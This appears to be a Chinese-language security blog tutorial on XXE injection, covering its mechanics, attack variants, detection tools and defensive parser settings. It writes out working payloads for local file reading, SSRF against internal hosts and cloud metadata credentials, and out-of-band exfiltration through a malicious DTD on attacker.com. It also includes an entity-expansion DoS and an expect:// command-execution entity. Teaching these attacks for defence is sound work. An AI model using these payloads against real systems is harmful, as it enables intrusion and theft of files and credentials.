点我

XXE

image-20250210101246607

一、定义

XML 外部实体注入(XML External Entity,XXE)漏洞是一种基于 XML 数据解析的严重安全漏洞,允许攻击者通过操纵 XML 输入干扰应用程序的逻辑、窃取敏感数据甚至控制服务器基础设施。

二、原理

XML 实体基础

XML(可扩展标记语言)通过实体(Entity)机制实现数据的复用,实体分为:

  • 内部实体:定义在文档内部的文本片段

    <!ENTITY example "Hello World">
  • 外部实体:引用外部资源(文件/URL/网络服务)

    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  • 参数实体(DTD 内部使用,以 % 开头)

    <!ENTITY % param_entity "恶意内容">

DTD(文档类型定义)

DTD 是 XML 的早期模式定义语言,允许声明实体和文档结构。XXE 的核心在于攻击者劫持 DTD 的实体解析过程

例如:

<!DOCTYPE attack [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

当 XML 解析器处理此文档时,会读取 /etc/passwd 的内容并替换 &xxe;

漏洞触发条件

  • 应用程序接受用户提供的 XML 输入。
  • XML 解析器启用 外部实体解析(默认配置下如 PHP 的 SimpleXML、Java 的 SAXParser)。
  • 解析结果可被攻击者观测(直接回显、错误日志、带外通信等)。

三、XXE 攻击场景与利用手法

经典文件读取

通过 file:// 协议读取服务器本地文件:

<!DOCTYPE data [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>&file;</user>

变种技巧

  • 使用 php://filter 读取 PHP 文件源码(Base64 编码绕过)

    <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
  • Windows 下通过 file:///c:/windows/win.ini 验证路径

服务端请求伪造(SSRF)

利用 XML 解析器发起网络请求,探测内网服务:

<!DOCTYPE data [
  <!ENTITY ssrf SYSTEM "http://192.168.1.1:8080/internal-api">
]>
<data>&ssrf;</data>

高级利用

  • 攻击云元数据服务(如 AWS IMDSv1):

    <!ENTITY metadata SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
  • 结合 DNS 回传数据:

    <!ENTITY exfil SYSTEM "http://attacker.com/?data=file:///etc/passwd">

盲注 XXE(Blind XXE)

当响应不可见时,通过带外通信(OOB, Out-of-Band)泄露数据:

<!DOCTYPE data [
  <!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
  %dtd;
]>
<data>&exfil;</data>

攻击者托管 malicious.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;

拒绝服务(DoS)

通过实体扩展耗尽资源(如 "Billion Laughs" 攻击):

<!DOCTYPE data [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!-- 递归定义直至内存耗尽 -->
]>
<data>&lol9;</data>

特定协议拓展

  • PHP expect 模块:执行系统命令(需安装 expect 扩展)

    <!ENTITY cmd SYSTEM "expect://id">
  • Jar 协议(Java):触发反序列化(需特定环境配置)

四、XXE 漏洞的检测与验证

手动检测

  • 替换 XML 声明:插入恶意 DTD 并观察响应变化。

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <root>&xxe;</root>
  • 修改 Content-Type:将表单的 application/json 改为 application/xml 测试解析器兼容性。

自动化工具

  • Burp Suite:使用 Scanner 模块或 Collaborator 检测 OOB 请求。
  • XXEinjector:自动化生成 Payload 并测试多种协议。
  • OWASP ZAP:主动扫描模式检测 XXE 潜在风险。

盲注检测信号

  • DNS 查询:观察是否存在 dig 请求到攻击者域名。
  • HTTP 回调:检查是否接收到来自目标服务器的 GET/POST 请求。

五、XXE 漏洞防御策略

禁用外部实体解析

  • Java:配置 DocumentBuilderFactory

    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • PHP:使用 libxml_disable_entity_loader(true);
  • Pythondefusedxml 库替代标准库

输入过滤与净化

  • 移除 XML 中的 <!DOCTYPE><!ENTITY> 声明
  • 使用正则表达式黑名单过滤 SYSTEMPUBLIC 等关键词

使用安全替代格式

  • 优先选择 JSON 而非 XML,使用 JsonReaderJsonParser
  • 若必须使用 XML,采用 XSD(XML Schema) 替代 DTD

服务器端加固

  • 限制 XML 解析器的网络访问权限(防火墙规则)
  • 定期更新 XML 处理库(如 Apache Xerces、libxml2)

安全编码实践

  • 避免直接拼接用户输入到 XML 文档
  • 对敏感操作(如文件读取)实施权限最小化原则

六、真实案例分析

  • PayPal 2013:通过 XXE 读取服务器配置,获取加密密钥
  • Facebook 2014:利用 SVG 图片上传功能触发 XXE,读取内部文件
  • CVE-2019-6447:ES 文件浏览器漏洞导致数亿用户数据泄露
分类: WEB安全

评论

-- 评论已关闭 --

目录